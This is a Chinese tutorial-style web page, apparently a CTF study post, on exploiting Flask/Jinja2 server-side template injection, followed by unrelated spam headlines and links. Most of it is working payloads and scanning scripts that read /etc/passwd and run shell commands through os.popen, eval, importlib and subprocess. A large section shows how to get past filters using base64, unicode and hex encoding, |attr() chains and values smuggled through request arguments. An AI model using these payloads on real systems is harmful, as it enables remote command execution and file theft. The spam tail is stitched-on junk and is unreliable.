当前位置: 首页 > news >正文

威海网站建设短信精准群发学校网站开发工程师

威海网站建设短信精准群发,学校网站开发工程师,印尼建设银行网站,河北网站建设seo优化制作设计文章目录 Flask-jinja2 SSTI 一般利用姿势SSTI 中常用的魔术方法内建函数 利用 SSTI 读取文件Python 2Python 3 利用 SSTI 执行命令寻找内建函数 eval 执行命令寻找 os 模块执行命令寻找 popen 函数执行命令寻找 importlib 类执行命令寻找 linecache 函数执行命令寻找 subproce… 文章目录 Flask-jinja2 SSTI 一般利用姿势SSTI 中常用的魔术方法内建函数 利用 SSTI 读取文件Python 2Python 3 利用 SSTI 执行命令寻找内建函数 eval 执行命令寻找 os 模块执行命令寻找 popen 函数执行命令寻找 importlib 类执行命令寻找 linecache 函数执行命令寻找 subprocess.Popen 类执行命令 Flask-jinja2 SSTI Bypass姿势关键字绕过利用字符串拼接绕过利用编码绕过利用Unicode编码绕过关键字flask适用利用Hex编码绕过关键字利用引号绕过利用join()函数绕过 绕过其他字符过滤了中括号[ ]过滤了引号过滤了下划线__过滤了点 .过滤了大括号 {{ 利用 |attr() 来Bypass同时过滤了 . 和 []同时过滤了 __ 、点. 和 []用Unicode编码配合 |attr() 进行Bypass用Hex编码配合 |attr() 进行Bypass 使用 JinJa 的过滤器进行Bypass常用字符获取入口点利用lipsum方法绕过 Shrine Flask-jinja2 SSTI 一般利用姿势 SSTI 中常用的魔术方法 很多刚开始学习SSTI的新手可能看到上面的利用方法就蒙圈了不太懂为什么要这么做下面来讲一下关于Python中类的知识。 面向对象语言的方法来自于类对于python有很多好用的函数库我们经常会再写Python中用到import来引入许多的类和方法python的str(字符串)、dict(字典)、tuple(元组)、list(列表)这些在Python类结构的基类都是object而object拥有众多的子类。 __class__用来查看变量所属的类根据前面的变量形式可以得到其所属的类。 __class__ 是类的一个内置属性表示类的类型返回 type type 也是类的实例的属性表示实例对象的类。 .__class__ type str().__class__ type tuple[].__class__ type list{}.__class__ type dict__bases__用来查看类的基类也可以使用数组索引来查看特定位置的值。 通过该属性可以查看该类的所有直接父类该属性返回所有直接父类组成的元组虽然只有一个元素。注意是直接父类 ().__class__.__bases__ (type object,).__class__.__bases__ (type basestring,)[].__class__.__bases__ (type object,){}.__class__.__bases__ (type object,).__class__.__bases__[0].__bases__[0] // python2下与python3下不同 type object [].__class__.__bases__[0] type object获取基类还能用 __mro__ 方法__mro__ 方法可以用来获取一个类的调用顺序比如 .__class__.__mro__ // python2下和python3下不同 (class str, class object)[].__class__.__mro__ (class list, class object){}.__class__.__mro__ (class dict, class object)().__class__.__mro__ (class tuple, class object) ().__class__.__mro__[1] // 返回的是一个类元组使用索引就能获取基类了 class object除此之外我们还可以利用 __base__ 方法获取直接基类 .__class__.__base__ type basestring有这些类继承的方法我们就可以从任何一个变量回溯到最顶层基类classobject中去再获得到此基类所有实现的类就可以获得到很多的类和方法了。 __subclasses__()查看当前类的子类组成的列表即返回基类object的子类。 [].__class__.__bases__[0].__subclasses__() [type type, type weakref, type weakcallableproxy, type weakproxy, type int, type basestring, type bytearray, type list, type NoneType, type NotImplementedType, type traceback, type super, type xrange, type dict, type set, type slice, type staticmethod, type complex, type float, type buffer, type long, type frozenset, type property, type memoryview, type tuple, type enumerate, type reversed, type code, type frame, type builtin_function_or_method, type instancemethod, type function, type classobj, type dictproxy, type generator, type getset_descriptor, type wrapper_descriptor, type instance, type ellipsis, type member_descriptor, type file, type PyCapsule, type cell, type callable-iterator, type iterator, type sys.long_info, type sys.float_info, type EncodingMap, type fieldnameiterator, type formatteriterator, type sys.version_info, type sys.flags, type sys.getwindowsversion, type exceptions.BaseException, type module, type imp.NullImporter, type zipimport.zipimporter, type nt.stat_result, type nt.statvfs_result, class warnings.WarningMessage, class warnings.catch_warnings, class _weakrefset._IterationGuard, class _weakrefset.WeakSet, class _abcoll.Hashable, type classmethod, class _abcoll.Iterable, class _abcoll.Sized, class _abcoll.Container, class _abcoll.Callable, type dict_keys, type dict_items, type dict_values, class site._Printer, class site._Helper, type _sre.SRE_Pattern, type _sre.SRE_Match, type _sre.SRE_Scanner, class site.Quitter, class codecs.IncrementalEncoder, class codecs.IncrementalDecoder, type operator.itemgetter, type operator.attrgetter, type operator.methodcaller, type functools.partial, type MultibyteCodec, type MultibyteIncrementalEncoder, type MultibyteIncrementalDecoder, type MultibyteStreamReader, type MultibyteStreamWriter]查阅起来有些困难来列举一下 for i in enumerate(.__class__.__mro__[-1].__subclasses__()): print i ..... (0, type type) (1, type weakref) (2, type weakcallableproxy) (3, type weakproxy) (4, type int) (5, type basestring) (6, type bytearray) (7, type list) (8, type NoneType) (9, type NotImplementedType) (10, type traceback) (11, type super) (12, type xrange) (13, type dict) (14, type set) (15, type slice) (16, type staticmethod) (17, type complex) (18, type float) ...... (38, type ellipsis) (39, type member_descriptor) (40, type file) (41, type PyCapsule) (42, type cell) (43, type callable-iterator) ......**注意**这里要记住一点2.7和3.6版本返回的子类不是一样的但是2.7有的3.6大部分都有。 当然我们也可以直接用object.__subclasses__()会得到和上面一样的结果。SSTI 的主要目的就是从这么多的子类中找出可以利用的类一般是指读写文件或执行命令的类加以利用。 __builtins__以一个集合的形式查看其引用 内建函数 当我们启动一个python解释器时即使没有创建任何变量或者函数还是会有很多函数可以使用我们称之为内建函数。 内建函数并不需要我们自己做定义而是在启动python解释器的时候就已经导入到内存中供我们使用想要了解这里面的工作原理我们可以从名称空间开始。 __builtins__ 方法是做为默认初始模块出现的可用于查看当前所有导入的内建函数。 __globals__该方法会以字典的形式返回当前位置的所有全局变量与 func_globals 等价。该属性是函数特有的属性记录当前文件全局变量的值如果某个文件调用了os、sys等库但我们只能访问该文件某个函数或者某个对象那么我们就可以利用globals属性访问全局的变量。该属性保存的是函数全局变量的字典引用。 __import__()该方法用于动态加载类和函数 。如果一个模块经常变化就可以使用 __import__() 来动态载入就是 import。语法__import__(模块名) 这样我们在进行SSTI注入的时候就可以通过这种方式使用很多的类和方法通过子类再去获取子类的子类、更多的方法找出可以利用的类和方法加以利用。总之是通过python的对象的继承来一步步实现文件读取和命令执行的 找到父类type object --- 寻找子类 --- 找关于命令执行或者文件操作的模块。但是遇上一个SSTI的题该如何下手大体上有以下几种思路简单介绍一下后续有详细总结。 查配置文件命令执行其实就是沙盒逃逸类题目的利用方式文件读取 利用 SSTI 读取文件 Python 2 在上文中我们使用 __subclasses__ 方法查看子类的时候发现可以发现索引号为40指向file类 for i in enumerate(.__class__.__mro__[-1].__subclasses__()): print i ..... (0, type type) (1, type weakref) (2, type weakcallableproxy) (3, type weakproxy) (4, type int) (5, type basestring) (6, type bytearray) (7, type list) (8, type NoneType) (9, type NotImplementedType) (10, type traceback) (11, type super) (12, type xrange) (13, type dict) (14, type set) (15, type slice) (16, type staticmethod) (17, type complex) (18, type float) ...... (38, type ellipsis) (39, type member_descriptor) (40, type file) (41, type PyCapsule) (42, type cell) (43, type callable-iterator) ......此file类可以直接用来读取文件 {{[].__class__.__base__.__subclasses__()[40](/etc/passwd).read()}}Python 3 使用file类读取文件的方法仅限于Python 2环境在Python 3环境中file类已经没有了。我们可以用class _frozen_importlib_external.FileLoader 这个类去读取文件。 首先编写脚本遍历目标Python环境中 class _frozen_importlib_external.FileLoader 这个类索引号 import requestsheaders {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36 }for i in range(500):url http://47.xxx.xxx.72:8000/?name{{().__class__.__bases__[0].__subclasses__()[str(i)]}}res requests.get(urlurl, headersheaders)if FileLoader in res.text:print(i)# 得到编号为79所以payload如下 {{().__class__.__bases__[0].__subclasses__()[79][get_data](0, /etc/passwd)}}利用 SSTI 执行命令 可以用来执行命令的类有很多其基本原理就是遍历含有eval函数即os模块的子类利用这些子类中的eval函数即os模块执行命令。这里我们简单挑几个常用的讲解。 寻找内建函数 eval 执行命令 首先编写脚本遍历目标Python环境中含有内建函数 eval 的子类的索引号 import requestsheaders {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36 }for i in range(500):url http://47.xxx.xxx.72:8000/?name{{().__class__.__bases__[0].__subclasses__()[str(i)].__init__.__globals__[__builtins__]}}res requests.get(urlurl, headersheaders)if eval in res.text:print(i)# 得到一大堆子类的索引: 64 65 66 67 68 79 80 81 83 91 92 93 94 95 96 117 ...我们可以记下几个含有eval函数的类 warnings.catch_warningsWarningMessagecodecs.IncrementalEncodercodecs.IncrementalDecodercodecs.StreamReaderWriteros._wrap_closereprlib.Reprweakref.finalize… 所以payload如下 {{.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__[__builtins__][eval](__import__(os).popen(ls /).read())}}分解一下。 {{.__class__}} #获得str类 {{.__class__.__bases__[0]}} #获得str的基类basestring {{.__class__.__bases__[0].__subclasses__()[166]}} #获得基类basestring的子类组成的列表中的第166个子类即返回基类basestring的第166个子类。含eval函数 {{.__class__.__bases__[0].__subclasses__()[166].__init__}}{{.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__[__builtins__][eval](__import__(os).popen(ls /).read())}} #(__import__(os).popen(ls /).read())是执行py代码我们可以看到使用eval函数执行命令也是调用的os模块那我们直接调用os模块不是更简单 寻找 os 模块执行命令 Python的 os 模块中有system和popen这两个函数可用来执行命令。其中system()函数执行命令是没有回显的我们可以使用system()函数配合curl外带数据popen()函数执行命令有回显。所以比较常用的函数为popen()函数而当popen()函数被过滤掉时可以使用system()函数代替。 首先编写脚本遍历目标Python环境中含有os模块的类的索引号 import requestsheaders {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36 }for i in range(500):url http://47.xxx.xxx.72:8000/?name{{().__class__.__bases__[0].__subclasses__()[str(i)].__init__.__globals__}}res requests.get(urlurl, headersheaders)if os.py in res.text:print(i)# 可以得到一大堆类 64 65 66 67 68 79 80 81 83 117 147 154 161 162 163 164 ...随便挑一个类构造payload执行命令即可 {{.__class__.__bases__[0].__subclasses__()[79].__init__.__globals__[os].popen(ls /).read()}}但是该方法遍历得到的类不准确因为一些不相关的类名中也存在字符串 “os”所以我们还要探索更有效的方法。 我们可以看到即使是使用os模块执行命令其也是调用的os模块中的popen函数那我们也可以直接调用popen函数存在popen函数的类一般是 os._wrap_close但也不绝对。由于目标Python环境的不同我们还需要遍历一下。 寻找 popen 函数执行命令 首先编写脚本遍历目标Python环境中含有 popen 函数的类的索引号 import requestsheaders {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36 }for i in range(500):url http://47.xxx.xxx.72:8000/?name{{().__class__.__bases__[0].__subclasses__()[str(i)].__init__.__globals__}}res requests.get(urlurl, headersheaders)if popen in res.text:print(i)# 得到编号为117直接构造payload即可 {{.__class__.__bases__[0].__subclasses__()[117].__init__.__globals__[popen](ls /).read()}}这样得到的索引还是很准确的。 除了这种方法外我们还可以直接导入os模块python有一个importlib类可用load_module来导入你需要的模块。 寻找 importlib 类执行命令 Python 中存在 class _frozen_importlib.BuiltinImporter 类目的就是提供 Python 中 import 语句的实现以及 __import__ 函数。我么可以直接利用该类中的load_module将os模块导入从而使用 os 模块执行命令。 首先编写脚本遍历目标Python环境中 importlib 类的索引号 import requestsheaders {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36 }for i in range(500):url http://47.xxx.xxx.72:8000/?name{{().__class__.__bases__[0].__subclasses__()[str(i)]}}res requests.get(urlurl, headersheaders)if _frozen_importlib.BuiltinImporter in res.text:print(i)# 得到编号为69构造如下payload即可执行命令 {{[].__class__.__base__.__subclasses__()[69][load_module](os)[popen](ls /).read()}}寻找 linecache 函数执行命令 linecache 这个函数可用于读取任意一个文件的某一行而这个函数中也引入了 os 模块所以我们也可以利用这个 linecache 函数去执行命令。 首先编写脚本遍历目标Python环境中含有 linecache 这个函数的子类的索引号 import requestsheaders {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36 }for i in range(500):url http://47.xxx.xxx.72:8000/?name{{().__class__.__bases__[0].__subclasses__()[str(i)].__init__.__globals__}}res requests.get(urlurl, headersheaders)if linecache in res.text:print(i)# 得到一堆子类的索引: 168 169 203 206 207 208 ...随便挑一个子类构造payload即可 {{[].__class__.__base__.__subclasses__()[168].__init__.__globals__[linecache][os].popen(ls /).read()}}{{[].__class__.__base__.__subclasses__()[168].__init__.__globals__.linecache.os.popen(ls /).read()}}寻找 subprocess.Popen 类执行命令 从python2.4版本开始可以用 subprocess 这个模块来产生子进程并连接到子进程的标准输入/输出/错误中去还可以得到子进程的返回值。 subprocess 意在替代其他几个老的模块或者函数比如os.system、os.popen 等函数。 首先编写脚本遍历目标Python环境中含有 linecache 这个函数的子类的索引号 import requestsheaders {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36 }for i in range(500):url http://47.xxx.xxx.72:8000/?name{{().__class__.__bases__[0].__subclasses__()[str(i)]}}res requests.get(urlurl, headersheaders)if linecache in res.text:print(i)# 得到索引为245则构造如下payload执行命令即可 {{[].__class__.__base__.__subclasses__()[245](ls /,shellTrue,stdout-1).communicate()[0].strip()}}# {{[].__class__.__base__.__subclasses__()[245](要执行的命令,shellTrue,stdout-1).communicate()[0].strip()}}Flask-jinja2 SSTI Bypass姿势 关键字绕过 利用字符串拼接绕过 我们可以利用“”进行字符串拼接绕过关键字过滤例如 {{().__class__.__bases__[0].__subclasses__()[40](/flag).read()}}{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__[__builtins__][eval](__import__(os).popen(ls /).read())}}{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__[__builtins__][eval](__import__(os).popen(ls /).read())}}只要返回的是字典类型的或是字符串格式的即payload中引号内的在调用的时候都可以使用字符串拼接绕过。 利用编码绕过 我们可以利用对关键字编码的方法绕过关键字过滤例如用base64编码绕过 {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__[X19idWlsdGluc19f.decode(base64)][ZXZhbA.decode(base64)](X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ.decode(base64))}}等同于 {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__[__builtins__][eval](__import__(os).popen(ls /).read())}}可以看到在payload中只要是字符串的即payload中引号内的都可以用编码绕过。同理还可以进行rot13、16进制编码等。 利用Unicode编码绕过关键字flask适用 unicode编码绕过是一种网上没提出的方法。 我们可以利用unicode编码的方法绕过关键字过滤例如 {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__[\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f][\u0065\u0076\u0061\u006c](__import__(os).popen(ls /).read())}}{{().__class__.__base__.__subclasses__()[77].__init__.__globals__[\u006f\u0073].popen(\u006c\u0073\u0020\u002f).read()}}等同于 {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__[__builtins__][eval](__import__(os).popen(ls /).read())}}{{().__class__.__base__.__subclasses__()[77].__init__.__globals__[os].popen(ls /).read()}}利用Hex编码绕过关键字 和上面那个一样只不过将Unicode编码换成了Hex编码适用于过滤了“u”的情况。 我们可以利用hex编码的方法绕过关键字过滤例如 {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__[\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f][\x65\x76\x61\x6c](__import__(os).popen(ls /).read())}}{{().__class__.__base__.__subclasses__()[77].__init__.__globals__[\x6f\x73].popen(\x6c\x73\x20\x2f).read()}}等同于 {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__[__builtins__][eval](__import__(os).popen(ls /).read())}}{{().__class__.__base__.__subclasses__()[77].__init__.__globals__[os].popen(ls /).read()}}利用引号绕过 我们可以利用引号来绕过对关键字的过滤。例如过滤了flag那么我们可以用 flag 或 flag 的形式来绕过 [].__class__.__base__.__subclasses__()[40](/flag).read()再如 ().__class__.__base__.__subclasses__()[77].__init__.__globals__[os].popen(ls).read(){{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__[__builtins__][eval](__import__(os).popen(ls /).read())}}可以看到在payload中只要是字符串的即payload中引号内的都可以用引号绕过。 利用join()函数绕过 我们可以利用join()函数来绕过关键字过滤。例如题目过滤了flag那么我们可以用如下方法绕过 [].__class__.__base__.__subclasses__()[40](fla.join(/g)).read()绕过其他字符 过滤了中括号[ ] 利用 __getitem__() 绕过 可以使用 __getitem__() 方法输出序列属性中的某个索引处的元素如 .__class__.__mro__[2] .__class__.__mro__.__getitem__(2) [__builtins__].__getitem__(eval)如下示例 {{.__class__.__mro__.__getitem__(2).__subclasses__().__getitem__(40)(/etc/passwd).read()}} // 指定序列属性{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(59).__init__.__globals__.__getitem__(__builtins__).__getitem__(eval)(__import__(os).popen(ls /).read())}} // 指定字典属性利用 pop() 绕过 pop()方法可以返回指定序列属性中的某个索引处的元素或指定字典属性中某个键对应的值如下示例 {{.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)(/etc/passwd).read()}} // 指定序列属性{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.__globals__.pop(__builtins__).pop(eval)(__import__(os).popen(ls /).read())}} // 指定字典属性注意最好不要用pop()因为pop()会删除相应位置的值。 利用字典读取绕过 我们知道访问字典里的值有两种方法一种是把相应的键放入熟悉的方括号 [] 里来访问一种就是用点 . 来访问。所以当方括号 [] 被过滤之后我们还可以用点 . 的方式来访问如下示例 // __builtins__.eval(){{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.__globals__.__builtins__.eval(__import__(os).popen(ls /).read())}}等同于 // [__builtins__][eval](){{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__[__builtins__][eval](__import__(os).popen(ls /).read())}}过滤了引号 利用chr()绕过 先获取chr()函数赋值给chr后面再拼接成一个字符串 {% set chr().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.chr%}{{().__class__.__bases__.[0].__subclasses__().pop(40)(chr(47)chr(101)chr(116)chr(99)chr(47)chr(112)chr(97)chr(115)chr(115)chr(119)chr(100)).read()}}# {% set chr().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr%}{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)chr(101)chr(116)chr(99)chr(47)chr(112)chr(97)chr(115)chr(115)chr(119)chr(100)).read()}}等同于 {{().__class__.__bases__[0].__subclasses__().pop(40)(/etc/passwd).read()}}利用request对象绕过 示例 {{().__class__.__bases__[0].__subclasses__().pop(40)(request.args.path).read()}}path/etc/passwd{{().__class__.__base__.__subclasses__()[77].__init__.__globals__[request.args.os].popen(request.args.cmd).read()}}ososcmdls /等同于 {{().__class__.__bases__[0].__subclasses__().pop(40)(/etc/passwd).read()}}{{().__class__.__base__.__subclasses__()[77].__init__.__globals__[os].popen(ls /).read()}}如果过滤了args可以将其中的request.args改为request.valuesPOST和GET两种方法传递的数据request.values都可以接收。 过滤了下划线__ 利用request对象绕过 {{()[request.args.class][request.args.bases][0][request.args.subclasses]()[40](/flag).read()}}class__class__bases__bases__subclasses__subclasses__{{()[request.args.class][request.args.bases][0][request.args.subclasses]()[77].__init__.__globals__[os].popen(ls /).read()}}class__class__bases__bases__subclasses__subclasses__等同于 {{().__class__.__bases__[0].__subclasses__().pop(40)(/etc/passwd).read()}}{{().__class__.__base__.__subclasses__()[77].__init__.__globals__[os].popen(ls /).read()}}过滤了点 . 利用 |attr() 绕过适用于flask 如果 . 也被过滤且目标是JinJa2flask的话可以使用原生JinJa2函数attr()即 ().__class__ ()|attr(__class__)示例 {{()|attr(__class__)|attr(__base__)|attr(__subclasses__)()|attr(__getitem__)(77)|attr(__init__)|attr(__globals__)|attr(__getitem__)(os)|attr(popen)(ls /)|attr(read)()}}等同于 {{().__class__.__base__.__subclasses__()[77].__init__.__globals__[os].popen(ls /).read()}}利用中括号[ ]绕过 如下示例 {{[__class__][__bases__][0][__subclasses__]()[59][__init__][__globals__][__builtins__][eval](__import__(os).popen(ls).read())}}等同于 {{().__class__.__bases__.[0].__subclasses__().[59].__init__[__globals__][__builtins__].eval(__import__(os).popen(ls /).read())}}这样的话那么 __class__、__bases__ 等关键字就成了字符串就都可以用前面所讲的关键字绕过的姿势进行绕过了。 过滤了大括号 {{ 我们可以用Jinja2的 {%...%} 语句装载一个循环控制语句来绕过 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__catch_warnings %}{{ c.__init__.__globals__[__builtins__].eval(__import__(os).popen(ls /).read())}}{% endif %}{% endfor %}也可以使用 {% if ... %}1{% endif %} 配合 os.popen 和 curl 将执行结果外带不外带的话无回显出来 {% if .__class__.__base__.__subclasses__()[59].__init__.func_globals.linecache.os.popen(ls / %}1{% endif %}也可以用 {%print(......)%} 的形式来代替 {{ 如下 {%print(.__class__.__base__.__subclasses__()[77].__init__.__globals__[os].popen(ls).read())%}利用 |attr() 来Bypass 这里说一个新东西就是原生JinJa2函数 attr()这是一个 attr() 过滤器它只查找属性获取并返回对象的属性的值过滤器与变量用管道符号 | 分割。如 foo|attr(bar) 等同于 foo[bar]|attr() 配合其他姿势可同时绕过双下划线 __ 、引号、点 . 和 [ 等下面给出示例。 同时过滤了 . 和 [] 过滤了以下字符 . [绕过姿势 {{()|attr(__class__)|attr(__base__)|attr(__subclasses__)()|attr(__getitem__)(77)|attr(__init__)|attr(__globals__)|attr(__getitem__)(os)|attr(popen)(ls)|attr(read)()}}等同于 {{().__class__.__base__.__subclasses__()[77].__init__.__globals__[os].popen(ls).read()}}同时过滤了 __ 、点. 和 [] 过滤了以下字符 __ . [ 下面我们演示绕过姿势先写出payload的原型 {{().__class__.__base__.__subclasses__()[77].__init__.__globals__[__builtins__][eval](__import__(os).popen(ls /).read())}}由于中括号 [ 被过滤了我们可以用 __getitem__() 来绕过尽量不要用pop()类似如下 {{().__class__.__base__.__subclasses__().__getitem__(77).__init__.__globals__.__getitem__(__builtins__).__getitem__(eval)(__import__(os).popen(ls /).read())}}由于还过滤了下划线 __我们可以用request对象绕过但是还过滤了中括号 []所以我们要同时绕过 __ 和 [就用到了我们的|attr() 所以最终的payload如下 {{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(77)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8)(request.args.x9)}}x1__class__x2__base__x3__subclasses__x4__getitem__x5__init__x6__globals__x7__builtins__x8evalx9__import__(os).popen(ls /).read()用Unicode编码配合 |attr() 进行Bypass 过滤了以下字符 request {{ _ %20(空格) [ ] . __globals__ __getitem__我们用 {%...%}绕过对 {{ 的过滤并用unicode绕过对关键字的过滤。unicode绕过是一种网上没提出的方法。 假设我们要构造的payload原型为 {{().__class__.__base__.__subclasses__()[77].__init__.__globals__[os].popen(ls).read()}}先用 |attr 绕过 . 和 [] {{()|attr(__class__)|attr(__base__)|attr(__subclasses__)()|attr(__getitem__)(77)|attr(__init__)|attr(__globals__)|attr(__getitem__)(os)|attr(popen)(ls)|attr(read)()}}我们可以将过滤掉的字符用unicode替换掉 {{()|attr(\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f)|attr(\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f)|attr(\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f)()|attr(\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f)(77)|attr(\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f)|attr(\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f)|attr(\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f)(os)|attr(popen)(ls)|attr(read)()}}用Hex编码配合 |attr() 进行Bypass 和上面那个一样只不过是将Unicode编码换成了Hex编码适用于“u”被过滤了的情况。 我们可以将过滤掉的字符用Hex编码替换掉 {{()|attr(\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f)|attr(\x5f\x5f\x62\x61\x73\x65\x5f\x5f)|attr(\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f)()|attr(\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f)(258)|attr(\x5f\x5f\x69\x6e\x69\x74\x5f\x5f)|attr(\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f)|attr(\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f)(os)|attr(popen)(cat\x20\x66\x6c\x61\x67\x2e\x74\x78\x74)|attr(read)()}}使用 JinJa 的过滤器进行Bypass 在 Flask JinJa 中内只有很多过滤器可以使用前文的attr()就是其中的一个过滤器。变量可以通过过滤器进行修改过滤器与变量之间用管道符号|隔开括号中可以有可选参数也可以没有参数过滤器函数可以带括号也可以不带括号。可以使用管道符号|连接多个过滤器一个过滤器的输出应用于下一个过滤器。 详情请看官方文档https://jinja.palletsprojects.com/en/master/templates/#builtin-filters 以下是内置的所有的过滤器列表 abs()float()lower()round()tojson()attr()forceescape()map()safe()trim()batch()format()max()select()truncate()capitalize()groupby()min()selectattr()unique()center()indent()pprint()slice()upper()default()int()random()sort()urlencode()dictsort()join()reject()string()urlize()escape()last()rejectattr()striptags()wordcount()filesizeformat()length()replace()sum()wordwrap()first()list()reverse()title()xmlattr() 可以自行点击每个过滤器去查看每一种过滤器的作用。我们就是利用这些过滤器一步步的拼接出我们想要的字符、数字或字符串。 常用字符获取入口点 对于获取一般字符的方法有以下几种 {% set org ({ }|select()|string()) %}{{org}} {% set org (self|string()) %}{{org}} {% set org self|string|urlencode %}{{org}} {% set org (app.__doc__|string) %}{{org}}如下演示 {% set org ({ }|select()|string()) %}{{org}}上上图所示我们可以通过 generator object select_or_reject at 0x7fe339298fc0 字符串获取的字符有尖号、字母、空格、下划线和数字。 {% set org (self|string()) %}{{org}}如上图所示可以通过 TemplateReference None 字符串获取的字符有尖号、字母和空格。 {% set org self|string|urlencode %}{{org}}如上图所示可以获得的字符除了字母以外还有百分号这一点比较重要因为如果我们控制了百分号的话我们可以获取任意字符这个在下面第二道题中会讲到。 {% set org (app.__doc__|string) %}{{org}}如上图所示可获得到的字符更多了。 对于获取数字除了刚才出现的那几种外我们还可以有以下几种方法 {% set num (self|int) %}{{num}} # 0, 通过int过滤器获取数字 {% set num (self|string|length) %}{{num}} # 24, 通过length过滤器获取数字 {% set point self|float|string|min %} # 通过float过滤器获取点 .有了数字0之后我们便可以依次将其余的数字全部构造出来原理就是加减乘除、平方等数学运算。 利用lipsum方法绕过 function generate_lorem_ipsum at 0x7fcddfa296a8 利用它直接调用__globals__发现可以直接执行os命令测了一下发现__builtins__也可以用 {{lipsum.__globals__[os].popen(whoami).read()}}{{lipsum.__globals__[__builtins__][eval](__import__(os).popen(whoami).read())}}{{lipsum.__globals__.__builtins__.__import__(os).popen(whoami).read()}} Shrine 使用url_for函数获取全局变量得到config得到flag {{url_for.globals[“current_app”].config}} {{get_flashed_messages.globals[‘current_app’].config}}
http://www.zqtcl.cn/news/732660/

相关文章:

  • 做最好的美食分享网站网站源码网站
  • 宝塔搭建app教程360优化大师下载
  • 杭州网站制作 乐云践新开发公司竣工员工奖励计划
  • 绍兴市越城区建设局网站网站策划运营方案书
  • 怎么查网站备案信息查询wordpress 新安装 慢
  • 做一个卖东西的网站深圳市住房和建设局网站变更
  • 一个公司做几个网站绵阳房产网
  • 广州做网站服务怎样做网站反链
  • 淘宝客网站制作视频教程flash做网站的论文
  • wordpress keywords 用逗号 区分关键字南昌网站优化方案
  • 清华大学网站建设方案郑州建网站企业
  • 闸北网站优化公司网站表格代码
  • 网站里面如何做下载的app深圳企业社保登录入口
  • 中国网站建设哪家公司好网站开头flash怎么做
  • 南磨房做网站公司黑马程序员就业情况
  • 电子商务网站运营方案建设银行网站查询密码设置
  • 网站服务器哪些好用php做的录入成绩的网站
  • 网站建设需要哪些信息vi设计什么意思
  • 苏州吴中区专业做网站玉树市公司网站建设
  • wordpress 不换行沈阳网站制作优化
  • 要维护公司的网站该怎么做怎么联系创意设计网站
  • 阿里云wordpress搭建网站网站如何做app
  • 做微商哪个网站比较好wordpress5.0.2运行慢
  • 中牟高端网站建设建自己的个人网站
  • 网站前台架构WordPress 分类 调用
  • 腾讯用户体验网站哈尔滨百姓网
  • 上海品质网站建设深圳自适应网站制作
  • gta5此网站正在建设更换wordpress后台登陆地址
  • 做花馍网站怎么做自己的简历网站
  • 旅游网站建设网站目的做饲料推广哪个网站好